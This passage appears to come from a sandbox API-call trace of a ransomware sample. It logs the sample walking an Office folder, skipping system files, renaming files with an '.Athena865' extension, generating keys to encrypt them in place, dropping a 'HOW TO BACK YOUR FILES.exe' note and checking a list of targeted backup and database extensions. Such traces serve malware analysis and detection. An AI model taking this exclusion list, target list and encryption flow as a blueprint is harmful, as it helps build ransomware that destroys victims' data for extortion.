(lpString1="MUOPTIN.DLL", lpString2=".") returned 1 [0114.267] lstrcmpiW (lpString1="MUOPTIN.DLL", lpString2="..") returned 1 [0114.267] lstrcmpiW (lpString1="MUOPTIN.DLL", lpString2="windows") returned -1 [0114.268] lstrcmpiW (lpString1="MUOPTIN.DLL", lpString2="bootmgr") returned 1 [0114.268] lstrcmpiW (lpString1="MUOPTIN.DLL", lpString2="temp") returned -1 [0114.268] lstrcmpiW (lpString1="MUOPTIN.DLL", lpString2="pagefile.sys") returned -1 [0114.268] lstrcmpiW (lpString1="MUOPTIN.DLL", lpString2="boot") returned 1 [0114.268] lstrcmpiW (lpString1="MUOPTIN.DLL", lpString2="ids.txt") returned 1 [0114.268] lstrcmpiW (lpString1="MUOPTIN.DLL", lpString2="ntuser.dat") returned -1 [0114.268] lstrcmpiW (lpString1="MUOPTIN.DLL", lpString2="perflogs") returned -1 [0114.268] lstrcmpiW (lpString1="MUOPTIN.DLL", lpString2="MSBuild") returned 1 [0114.268] lstrlenW (lpString="MUOPTIN.DLL") returned 11 [0114.268] lstrcpyW (in: lpString1=0x241e8b8, lpString2="MUOPTIN.DLL" | out: lpString1="MUOPTIN.DLL") returned="MUOPTIN.DLL" [0114.268] lstrlenW (lpString="MUOPTIN.DLL") returned 11 [0114.268] lstrlenW (lpString="Athena865") returned 9 [0114.268] lstrcmpiW (lpString1="OPTIN.DLL", lpString2="Athena865") returned 1 [0114.268] lstrlenW (lpString=".dll") returned 4 [0114.268] lstrcmpiW (lpString1="MUOPTIN.DLL", lpString2=".dll") returned 1 [0114.268] lstrlenW (lpString=".lnk") returned 4 [0114.268] lstrcmpiW (lpString1="MUOPTIN.DLL", lpString2=".lnk") returned 1 [0114.268] lstrlenW (lpString=".ini") returned 4 [0114.268] lstrcmpiW (lpString1="MUOPTIN.DLL", lpString2=".ini") returned 1 [0114.268] lstrlenW (lpString=".sys") returned 4 [0114.268] lstrcmpiW (lpString1="MUOPTIN.DLL", lpString2=".sys") returned 1 [0114.268] lstrlenW (lpString="MUOPTIN.DLL") returned 11 [0114.268] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL.Athena865") returned 77 [0114.268] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muoptin.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muoptin.dll.athena865"), dwFlags=0x1) returned 1 [0114.270] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muoptin.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0114.270] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=24976) returned 1 [0114.270] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0114.270] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0114.270] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519cc8 [0114.271] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519c40) returned 1 [0114.271] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0114.271] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0114.271] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6490, lpName=0x0) returned 0x17c [0114.273] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6490) returned 0x100000 [0114.275] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519c40) returned 1 [0114.275] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0114.275] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0114.276] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d98 [0114.276] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d98 | out: hHeap=0x4f0000) returned 1 [0114.276] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0114.276] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0114.276] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0114.276] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0114.276] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0114.276] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0114.276] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0114.276] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0114.276] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0114.276] CloseHandle (hObject=0x17c) returned 1 [0114.276] CloseHandle (hObject=0x154) returned 1 [0114.277] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0114.277] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519cc8 | out: hHeap=0x4f0000) returned 1 [0114.277] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0114.277] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x161d5800, ftCreationTime.dwHighDateTime=0x1cbd856, ftLastAccessTime.dwLowDateTime=0xd63a22c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x161d5800, ftLastWriteTime.dwHighDateTime=0x1cbd856, nFileSizeHigh=0x0, nFileSizeLow=0x38d88, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Oarpmany.exe", cAlternateFileName="")) returned 1 [0114.277] lstrcmpiW (lpString1="Oarpmany.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0114.277] lstrcmpiW (lpString1="Oarpmany.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0114.277] lstrcmpiW (lpString1="Oarpmany.exe", lpString2=".") returned 1 [0114.277] lstrcmpiW (lpString1="Oarpmany.exe", lpString2="..") returned 1 [0114.277] lstrcmpiW (lpString1="Oarpmany.exe", lpString2="windows") returned -1 [0114.277] lstrcmpiW (lpString1="Oarpmany.exe", lpString2="bootmgr") returned 1 [0114.277] lstrcmpiW (lpString1="Oarpmany.exe", lpString2="temp") returned -1 [0114.277] lstrcmpiW (lpString1="Oarpmany.exe", lpString2="pagefile.sys") returned -1 [0114.277] lstrcmpiW (lpString1="Oarpmany.exe", lpString2="boot") returned 1 [0114.277] lstrcmpiW (lpString1="Oarpmany.exe", lpString2="ids.txt") returned 1 [0114.277] lstrcmpiW (lpString1="Oarpmany.exe", lpString2="ntuser.dat") returned 1 [0114.277] lstrcmpiW (lpString1="Oarpmany.exe", lpString2="perflogs") returned -1 [0114.277] lstrcmpiW (lpString1="Oarpmany.exe", lpString2="MSBuild") returned 1 [0114.277] lstrlenW (lpString="Oarpmany.exe") returned 12 [0114.277] lstrcpyW (in: lpString1=0x241e8b8, lpString2="Oarpmany.exe" | out: lpString1="Oarpmany.exe") returned="Oarpmany.exe" [0114.277] lstrlenW (lpString="Oarpmany.exe") returned 12 [0114.277] lstrlenW (lpString="Athena865") returned 9 [0114.278] lstrcmpiW (lpString1="pmany.exe", lpString2="Athena865") returned 1 [0114.278] lstrlenW (lpString=".dll") returned 4 [0114.278] lstrcmpiW (lpString1="Oarpmany.exe", lpString2=".dll") returned 1 [0114.278] lstrlenW (lpString=".lnk") returned 4 [0114.278] lstrcmpiW (lpString1="Oarpmany.exe", lpString2=".lnk") returned 1 [0114.278] lstrlenW (lpString=".ini") returned 4 [0114.278] lstrcmpiW (lpString1="Oarpmany.exe", lpString2=".ini") returned 1 [0114.278] lstrlenW (lpString=".sys") returned 4 [0114.278] lstrcmpiW (lpString1="Oarpmany.exe", lpString2=".sys") returned 1 [0114.278] lstrlenW (lpString="Oarpmany.exe") returned 12 [0114.278] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe.Athena865") returned 78 [0114.278] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\oarpmany.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\oarpmany.exe.athena865"), dwFlags=0x1) returned 1 [0114.279] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\oarpmany.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0114.279] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=232840) returned 1 [0114.279] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0114.280] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0114.280] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519cc8 [0114.280] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519c40) returned 1 [0114.280] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0114.280] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0114.280] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x39090, lpName=0x0) returned 0x17c [0114.282] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x39090) returned 0x170000 [0114.295] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519c40) returned 1 [0114.296] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0114.296] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0114.296] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d98 [0114.296] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d98 | out: hHeap=0x4f0000) returned 1 [0114.296] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0114.296] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0114.297] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0114.297] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0114.297] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0114.297] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0114.297] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0114.297] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0114.297] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0114.299] CloseHandle (hObject=0x17c) returned 1 [0114.299] CloseHandle (hObject=0x154) returned 1 [0114.299] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0114.299] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519cc8 | out: hHeap=0x4f0000) returned 1 [0114.299] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0114.300] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f9d2900, ftCreationTime.dwHighDateTime=0x1cab9ac, ftLastAccessTime.dwLowDateTime=0xbe0f9da0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7f9d2900, ftLastWriteTime.dwHighDateTime=0x1cab9ac, nFileSizeHigh=0x0, nFileSizeLow=0x7568, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ODBCMON.DLL", cAlternateFileName="")) returned 1 [0114.300] lstrcmpiW (lpString1="ODBCMON.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0114.300] lstrcmpiW (lpString1="ODBCMON.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0114.300] lstrcmpiW (lpString1="ODBCMON.DLL", lpString2=".") returned 1 [0114.301] lstrcmpiW (lpString1="ODBCMON.DLL", lpString2="..") returned 1 [0114.301] lstrcmpiW (lpString1="ODBCMON.DLL", lpString2="windows") returned -1 [0114.301] lstrcmpiW (lpString1="ODBCMON.DLL", lpString2="bootmgr") returned 1 [0114.301] lstrcmpiW (lpString1="ODBCMON.DLL", lpString2="temp") returned -1 [0114.301] lstrcmpiW (lpString1="ODBCMON.DLL", lpString2="pagefile.sys") returned -1 [0114.301] lstrcmpiW (lpString1="ODBCMON.DLL", lpString2="boot") returned 1 [0114.301] lstrcmpiW (lpString1="ODBCMON.DLL", lpString2="ids.txt") returned 1 [0114.301] lstrcmpiW (lpString1="ODBCMON.DLL", lpString2="ntuser.dat") returned 1 [0114.301] lstrcmpiW (lpString1="ODBCMON.DLL", lpString2="perflogs") returned -1 [0114.301] lstrcmpiW (lpString1="ODBCMON.DLL", lpString2="MSBuild") returned 1 [0114.301] lstrlenW (lpString="ODBCMON.DLL") returned 11 [0114.301] lstrcpyW (in: lpString1=0x241e8b8, lpString2="ODBCMON.DLL" | out: lpString1="ODBCMON.DLL") returned="ODBCMON.DLL" [0114.301] lstrlenW (lpString="ODBCMON.DLL") returned 11 [0114.301] lstrlenW (lpString="Athena865") returned 9 [0114.301] lstrcmpiW (lpString1="BCMON.DLL", lpString2="Athena865") returned 1 [0114.301] lstrlenW (lpString=".dll") returned 4 [0114.301] lstrcmpiW (lpString1="ODBCMON.DLL", lpString2=".dll") returned 1 [0114.301] lstrlenW (lpString=".lnk") returned 4 [0114.301] lstrcmpiW (lpString1="ODBCMON.DLL", lpString2=".lnk") returned 1 [0114.301] lstrlenW (lpString=".ini") returned 4 [0114.301] lstrcmpiW (lpString1="ODBCMON.DLL", lpString2=".ini") returned 1 [0114.301] lstrlenW (lpString=".sys") returned 4 [0114.301] lstrcmpiW (lpString1="ODBCMON.DLL", lpString2=".sys") returned 1 [0114.301] lstrlenW (lpString="ODBCMON.DLL") returned 11 [0114.301] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL.Athena865") returned 77 [0114.301] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\odbcmon.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\odbcmon.dll.athena865"), dwFlags=0x1) returned 1 [0114.303] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\odbcmon.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0114.303] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=30056) returned 1 [0114.303] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0114.303] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0114.303] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519cc8 [0114.303] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519c40) returned 1 [0114.304] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0114.304] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0114.304] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7870, lpName=0x0) returned 0x17c [0114.306] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7870) returned 0x100000 [0114.307] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519c40) returned 1 [0114.308] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0114.308] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0114.308] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d98 [0114.308] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d98 | out: hHeap=0x4f0000) returned 1 [0114.308] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0114.308] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0114.308] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0114.308] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0114.308] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0114.309] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0114.309] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0114.309] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0114.309] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0114.309] CloseHandle (hObject=0x17c) returned 1 [0114.309] CloseHandle (hObject=0x154) returned 1 [0114.309] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0114.309] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519cc8 | out: hHeap=0x4f0000) returned 1 [0114.309] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0114.310] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe974c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe974c00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Office Setup Controller", cAlternateFileName="OFFICE~1")) returned 1 [0114.310] lstrcmpiW (lpString1="Office Setup Controller", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0114.310] lstrcmpiW (lpString1="Office Setup Controller", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0114.310] lstrcmpiW (lpString1="Office Setup Controller", lpString2=".") returned 1 [0114.310] lstrcmpiW (lpString1="Office Setup Controller", lpString2="..") returned 1 [0114.310] lstrcmpiW (lpString1="Office Setup Controller", lpString2="windows") returned -1 [0114.310] lstrcmpiW (lpString1="Office Setup Controller", lpString2="bootmgr") returned 1 [0114.310] lstrcmpiW (lpString1="Office Setup Controller", lpString2="temp") returned -1 [0114.310] lstrcmpiW (lpString1="Office Setup Controller", lpString2="pagefile.sys") returned -1 [0114.310] lstrcmpiW (lpString1="Office Setup Controller", lpString2="boot") returned 1 [0114.310] lstrcmpiW (lpString1="Office Setup Controller", lpString2="ids.txt") returned 1 [0114.310] lstrcmpiW (lpString1="Office Setup Controller", lpString2="ntuser.dat") returned 1 [0114.310] lstrcmpiW (lpString1="Office Setup Controller", lpString2="perflogs") returned -1 [0114.310] lstrcmpiW (lpString1="Office Setup Controller", lpString2="MSBuild") returned 1 [0114.310] lstrlenW (lpString="Office Setup Controller") returned 23 [0114.310] lstrcpyW (in: lpString1=0x241e8b8, lpString2="Office Setup Controller" | out: lpString1="Office Setup Controller") returned="Office Setup Controller" [0114.310] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x547900 [0114.310] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa0) returned 0x54bd58 [0114.310] lstrcatW (in: lpString1="Office Setup Controller", lpString2="\\" | out: lpString1="Office Setup Controller\\") returned="Office Setup Controller\\" [0114.310] lstrcatW (in: lpString1="Office Setup Controller\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Office Setup Controller\\HOW TO BACK YOUR FILES.exe") returned="Office Setup Controller\\HOW TO BACK YOUR FILES.exe" [0114.310] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\how to back your files.exe"), bFailIfExists=1) returned 1 [0114.314] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6bc953f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x2560, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OFFREL.DLL", cAlternateFileName="")) returned 1 [0114.315] lstrcmpiW (lpString1="OFFREL.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0114.315] lstrcmpiW (lpString1="OFFREL.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0114.315] lstrcmpiW (lpString1="OFFREL.DLL", lpString2=".") returned 1 [0114.315] lstrcmpiW (lpString1="OFFREL.DLL", lpString2="..") returned 1 [0114.315] lstrcmpiW (lpString1="OFFREL.DLL", lpString2="windows") returned -1 [0114.315] lstrcmpiW (lpString1="OFFREL.DLL", lpString2="bootmgr") returned 1 [0114.315] lstrcmpiW (lpString1="OFFREL.DLL", lpString2="temp") returned -1 [0114.315] lstrcmpiW (lpString1="OFFREL.DLL", lpString2="pagefile.sys") returned -1 [0114.315] lstrcmpiW (lpString1="OFFREL.DLL", lpString2="boot") returned 1 [0114.315] lstrcmpiW (lpString1="OFFREL.DLL", lpString2="ids.txt") returned 1 [0114.315] lstrcmpiW (lpString1="OFFREL.DLL", lpString2="ntuser.dat") returned 1 [0114.315] lstrcmpiW (lpString1="OFFREL.DLL", lpString2="perflogs") returned -1 [0114.315] lstrcmpiW (lpString1="OFFREL.DLL", lpString2="MSBuild") returned 1 [0114.315] lstrlenW (lpString="OFFREL.DLL") returned 10 [0114.315] lstrcpyW (in: lpString1=0x241e8b8, lpString2="OFFREL.DLL" | out: lpString1="OFFREL.DLL") returned="OFFREL.DLL" [0114.315] lstrlenW (lpString="OFFREL.DLL") returned 10 [0114.315] lstrlenW (lpString="Athena865") returned 9 [0114.315] lstrcmpiW (lpString1="FFREL.DLL", lpString2="Athena865") returned 1 [0114.315] lstrlenW (lpString=".dll") returned 4 [0114.315] lstrcmpiW (lpString1="OFFREL.DLL", lpString2=".dll") returned 1 [0114.315] lstrlenW (lpString=".lnk") returned 4 [0114.315] lstrcmpiW (lpString1="OFFREL.DLL", lpString2=".lnk") returned 1 [0114.315] lstrlenW (lpString=".ini") returned 4 [0114.315] lstrcmpiW (lpString1="OFFREL.DLL", lpString2=".ini") returned 1 [0114.315] lstrlenW (lpString=".sys") returned 4 [0114.315] lstrcmpiW (lpString1="OFFREL.DLL", lpString2=".sys") returned 1 [0114.315] lstrlenW (lpString="OFFREL.DLL") returned 10 [0114.315] lstrlenW (lpString="bak") returned 3 [0114.316] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0114.316] lstrlenW (lpString="ba_") returned 3 [0114.316] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0114.316] lstrlenW (lpString="dbb") returned 3 [0114.316] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0114.316] lstrlenW (lpString="vmdk") returned 4 [0114.316] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0114.316] lstrlenW (lpString="rar") returned 3 [0114.316] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0114.316] lstrlenW (lpString="zip") returned 3 [0114.316] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0114.316] lstrlenW (lpString="tgz") returned 3 [0114.316] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0114.316] lstrlenW (lpString="vbox") returned 4 [0114.316] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0114.316] lstrlenW (lpString="vdi") returned 3 [0114.316] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0114.316] lstrlenW (lpString="vhd") returned 3 [0114.316] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0114.316] lstrlenW (lpString="vhdx") returned 4 [0114.316] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0114.316] lstrlenW (lpString="avhd") returned 4 [0114.316] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0114.316] lstrlenW (lpString="db") returned 2 [0114.316] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0114.316] lstrlenW (lpString="db2") returned 3 [0114.316] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0114.316] lstrlenW (lpString="db3") returned 3 [0114.316] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0114.317] lstrlenW (lpString="dbf") returned 3 [0114.317] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0114.317] lstrlenW (lpString="mdf") returned 3 [0114.317] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0114.317] lstrlenW (lpString="mdb") returned 3 [0114.317] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 